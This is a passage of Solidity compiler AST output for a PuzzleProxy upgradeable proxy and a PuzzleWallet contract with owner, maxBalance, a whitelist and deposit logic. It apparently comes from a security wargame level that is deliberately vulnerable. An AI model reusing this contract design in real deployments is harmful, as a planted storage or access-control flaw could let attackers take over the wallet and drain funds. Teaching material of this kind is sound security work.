id":54364,"name":"_newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54358,"src":"940:18:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":54363,"name":"_upgradeTo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50074,"src":"929:10:101","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":54365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"929:30:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54366,"nodeType":"ExpressionStatement","src":"929:30:101"}]},"functionSelector":"3659cfe6","implemented":true,"kind":"function","modifiers":[{"id":54361,"kind":"modifierInvocation","modifierName":{"id":54360,"name":"onlyAdmin","nameLocations":["909:9:101"],"nodeType":"IdentifierPath","referencedDeclaration":54327,"src":"909:9:101"},"nodeType":"ModifierInvocation","src":"909:9:101"}],"name":"upgradeTo","nameLocation":"862:9:101","parameters":{"id":54359,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54358,"mutability":"mutable","name":"_newImplementation","nameLocation":"880:18:101","nodeType":"VariableDeclaration","scope":54368,"src":"872:26:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54357,"name":"address","nodeType":"ElementaryTypeName","src":"872:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"871:28:101"},"returnParameters":{"id":54362,"nodeType":"ParameterList","parameters":[],"src":"919:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":54292,"name":"UpgradeableProxy","nameLocations":["161:16:101"],"nodeType":"IdentifierPath","referencedDeclaration":50095,"src":"161:16:101"},"id":54293,"nodeType":"InheritanceSpecifier","src":"161:16:101"}],"canonicalName":"PuzzleProxy","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54369,50095,47117],"name":"PuzzleProxy","nameLocation":"146:11:101","scope":54598,"usedErrors":[],"usedEvents":[50042]},{"id":54597,"nodeType":"ContractDefinition","src":"970:2019:101","nodes":[{"id":54371,"nodeType":"VariableDeclaration","src":"998:20:101","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"1013:5:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54370,"name":"address","nodeType":"ElementaryTypeName","src":"998:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":54373,"nodeType":"VariableDeclaration","src":"1024:25:101","nodes":[],"constant":false,"functionSelector":"73ad468a","mutability":"mutable","name":"maxBalance","nameLocation":"1039:10:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54372,"name":"uint256","nodeType":"ElementaryTypeName","src":"1024:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":54377,"nodeType":"VariableDeclaration","src":"1055:43:101","nodes":[],"constant":false,"functionSelector":"d936547e","mutability":"mutable","name":"whitelisted","nameLocation":"1087:11:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":54376,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54374,"name":"address","nodeType":"ElementaryTypeName","src":"1063:7:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1055:24:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54375,"name":"bool","nodeType":"ElementaryTypeName","src":"1074:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"public"},{"id":54381,"nodeType":"VariableDeclaration","src":"1104:43:101","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"1139:8:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":54380,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54378,"name":"address","nodeType":"ElementaryTypeName","src":"1112:7:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1104:27:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54379,"name":"uint256","nodeType":"ElementaryTypeName","src":"1123:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":54403,"nodeType":"FunctionDefinition","src":"1154:168:101","nodes":[],"body":{"id":54402,"nodeType":"Block","src":"1196:126:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54387,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1214:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":54388,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1228:1:101","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1214:15:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920696e697469616c697a6564","id":54390,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1231:21:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_d3814fd4e72cfd7651525eee846049aca388165c613a1085fb56751abcdd36c0","typeString":"literal_string \"Already initialized\""},"value":"Already initialized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d3814fd4e72cfd7651525eee846049aca388165c613a1085fb56751abcdd36c0","typeString":"literal_string \"Already initialized\""}],"id":54386,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1206:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54391,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1206:47:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54392,"nodeType":"ExpressionStatement","src":"1206:47:101"},{"expression":{"id":54395,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54393,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1263:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54394,"name":"_maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54383,"src":"1276:11:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1263:24:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54396,"nodeType":"ExpressionStatement","src":"1263:24:101"},{"expression":{"id":54400,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54397,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54371,"src":"1297:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":54398,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1305:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54399,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1309:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1305:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1297:18:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54401,"nodeType":"ExpressionStatement","src":"1297:18:101"}]},"functionSelector":"b7b0422d","implemented":true,"kind":"function","modifiers":[],"name":"init","nameLocation":"1163:4:101","parameters":{"id":54384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54383,"mutability":"mutable","name":"_maxBalance","nameLocation":"1176:11:101","nodeType":"VariableDeclaration","scope":54403,"src":"1168:19:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54382,"name":"uint256","nodeType":"ElementaryTypeName","src":"1168:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1167:21:101"},"returnParameters":{"id":54385,"nodeType":"ParameterList","parameters":[],"src":"1196:0:101"},"scope":54597,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54415,"nodeType":"ModifierDefinition","src":"1328:106:101","nodes":[],"body":{"id":54414,"nodeType":"Block","src":"1355:79:101","nodes":[],"statements":[{"expression":{"arguments":[{"baseExpression":{"id":54406,"name":"whitelisted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54377,"src":"1373:11:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":54409,"indexExpression":{"expression":{"id":54407,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1385:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54408,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1389:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1385:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1373:23:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f742077686974656c6973746564","id":54410,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1398:17:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_72830cd2e69a452b3989df2d6c124f1de4827fe8ed6c5116814e4b49c3fcbdd0","typeString":"literal_string \"Not whitelisted\""},"value":"Not whitelisted"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72830cd2e69a452b3989df2d6c124f1de4827fe8ed6c5116814e4b49c3fcbdd0","typeString":"literal_string \"Not whitelisted\""}],"id":54405,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1365:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1365:51:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54412,"nodeType":"ExpressionStatement","src":"1365:51:101"},{"id":54413,"nodeType":"PlaceholderStatement","src":"1426:1:101"}]},"name":"onlyWhitelisted","nameLocation":"1337:15:101","parameters":{"id":54404,"nodeType":"ParameterList","parameters":[],"src":"1352:2:101"},"virtual":false,"visibility":"internal"},{"id":54438,"nodeType":"FunctionDefinition","src":"1440:184:101","nodes":[],"body":{"id":54437,"nodeType":"Block","src":"1509:115:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54429,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":54425,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1535:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1527:7:101","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54423,"name":"address","nodeType":"ElementaryTypeName","src":"1527:7:101","typeDescriptions":{}}},"id":54426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1527:13:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54427,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1541:7:101","memberName":"balance","nodeType":"MemberAccess","src":"1527:21:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":54428,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1552:1:101","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1527:26:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"436f6e74726163742062616c616e6365206973206e6f742030","id":54430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1555:27:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5f88bd6ad656efc3e4dbc871762db3916c5d34b0309c5f2707d91055a539b36","typeString":"literal_string \"Contract balance is not 0\""},"value":"Contract balance is not 0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c5f88bd6ad656efc3e4dbc871762db3916c5d34b0309c5f2707d91055a539b36","typeString":"literal_string \"Contract balance is not 0\""}],"id":54422,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1519:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1519:64:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54432,"nodeType":"ExpressionStatement","src":"1519:64:101"},{"expression":{"id":54435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54433,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1593:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54434,"name":"_maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54417,"src":"1606:11:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1593:24:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54436,"nodeType":"ExpressionStatement","src":"1593:24:101"}]},"functionSelector":"9d51d9b7","implemented":true,"kind":"function","modifiers":[{"id":54420,"kind":"modifierInvocation","modifierName":{"id":54419,"name":"onlyWhitelisted","nameLocations":["1493:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"1493:15:101"},"nodeType":"ModifierInvocation","src":"1493:15:101"}],"name":"setMaxBalance","nameLocation":"1449:13:101","parameters":{"id":54418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54417,"mutability":"mutable","name":"_maxBalance","nameLocation":"1471:11:101","nodeType":"VariableDeclaration","scope":54438,"src":"1463:19:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54416,"name":"uint256","nodeType":"ElementaryTypeName","src":"1463:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1462:21:101"},"returnParameters":{"id":54421,"nodeType":"ParameterList","parameters":[],"src":"1509:0:101"},"scope":54597,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54458,"nodeType":"FunctionDefinition","src":"1630:143:101","nodes":[],"body":{"id":54457,"nodeType":"Block","src":"1677:96:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54447,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54444,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1695:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54445,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1699:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1695:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54446,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54371,"src":"1709:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1695:19:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420746865206f776e6572","id":54448,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1716:15:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_72ec00def0a4f647f10f2a5c1742fab7d53364130edc365182f3ccef5864f2a5","typeString":"literal_string \"Not the owner\""},"value":"Not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72ec00def0a4f647f10f2a5c1742fab7d53364130edc365182f3ccef5864f2a5","typeString":"literal_string \"Not the owner\""}],"id":54443,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1687:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54449,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1687:45:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54450,"nodeType":"ExpressionStatement","src":"1687:45:101"},{"expression":{"id":54455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54451,"name":"whitelisted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54377,"src":"1742:11:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":54453,"indexExpression":{"id":54452,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54440,"src":"1754:4:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1742:17:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":54454,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1762:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1742:24:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54456,"nodeType":"ExpressionStatement","src":"1742:24:101"}]},"functionSelector":"e43252d7","implemented":true,"kind":"function","modifiers":[],"name":"addToWhitelist","nameLocation":"1639:14:101","parameters":{"id":54441,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54440,"mutability":"mutable","name":"addr","nameLocation":"1662:4:101","nodeType":"VariableDeclaration","scope":54458,"src":"1654:12:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54439,"name":"address","nodeType":"ElementaryTypeName","src":"1654:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1653:14:101"},"returnParameters":{"id":54442,"nodeType":"ParameterList","parameters":[],"src":"1677:0:101"},"scope":54597,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54483,"nodeType":"FunctionDefinition","src":"1779:179:101","nodes":[],"body":{"id":54482,"nodeType":"Block","src":"1831:127:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54470,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":54466,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1857:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54465,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1849:7:101","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54464,"name":"address","nodeType":"ElementaryTypeName","src":"1849:7:101","typeDescriptions":{}}},"id":54467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1849:13:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54468,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1863:7:101","memberName":"balance","nodeType":"MemberAccess","src":"1849:21:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":54469,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1874:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1849:35:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4d61782062616c616e63652072656163686564","id":54471,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1886:21:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_7f0d7e8f50971fe9679272da40a4a188efbfa36b61a6a0c225123b7520f52681","typeString":"literal_string \"Max balance reached\""},"value":"Max balance reached"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7f0d7e8f50971fe9679272da40a4a188efbfa36b61a6a0c225123b7520f52681","typeString":"literal_string \"Max balance reached\""}],"id":54463,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1841:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54472,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1841:67:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54473,"nodeType":"ExpressionStatement","src":"1841:67:101"},{"expression":{"id":54480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54474,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54381,"src":"1918:8:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54477,"indexExpression":{"expression":{"id":54475,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1927:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54476,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1931:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1927:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1918:20:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"expression":{"id":54478,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1942:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1946:5:101","memberName":"value","nodeType":"MemberAccess","src":"1942:9:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1918:33:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54481,"nodeType":"ExpressionStatement","src":"1918:33:101"}]},"functionSelector":"d0e30db0","implemented":true,"kind":"function","modifiers":[{"id":54461,"kind":"modifierInvocation","modifierName":{"id":54460,"name":"onlyWhitelisted","nameLocations":["1815:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"1815:15:101"},"nodeType":"ModifierInvocation","src":"1815:15:101"}],"name":"deposit","nameLocation":"1788:7:101","parameters":{"id":54459,"nodeType":"ParameterList","parameters":[],"src":"1795:2:101"},"returnParameters":{"id":54462,"nodeType":"ParameterList","parameters":[],"src":"1831:0:101"},"scope":54597,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":54526,"nodeType":"FunctionDefinition","src":"1964:317:101","nodes":[],"body":{"id":54525,"nodeType":"Block","src":"2062:219:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54500,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54495,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54381,"src":"2080:8:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54498,"indexExpression":{"expression":{"id":54496,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2089:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54497,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2093:6:101","memberName":"sender","nodeType":"MemberAccess","src":"2089:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2080:20:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":54499,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54487,"src":"2104:5:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2080:29:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e73756666696369656e742062616c616e6365","id":54501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2111:22:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_47533c3652efd02135ecc34b3fac8efc7b14bf0618b9392fd6e044a3d8a6eef5","typeString":"literal_string \"Insufficient balance\""},"value":"Insufficient balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_47533c3652efd02135ecc34b3fac8efc7b14bf0618b9392fd6e044a3d8a6eef5","typeString":"literal_string \"Insufficient balance\""}],"id":54494,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2072:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) 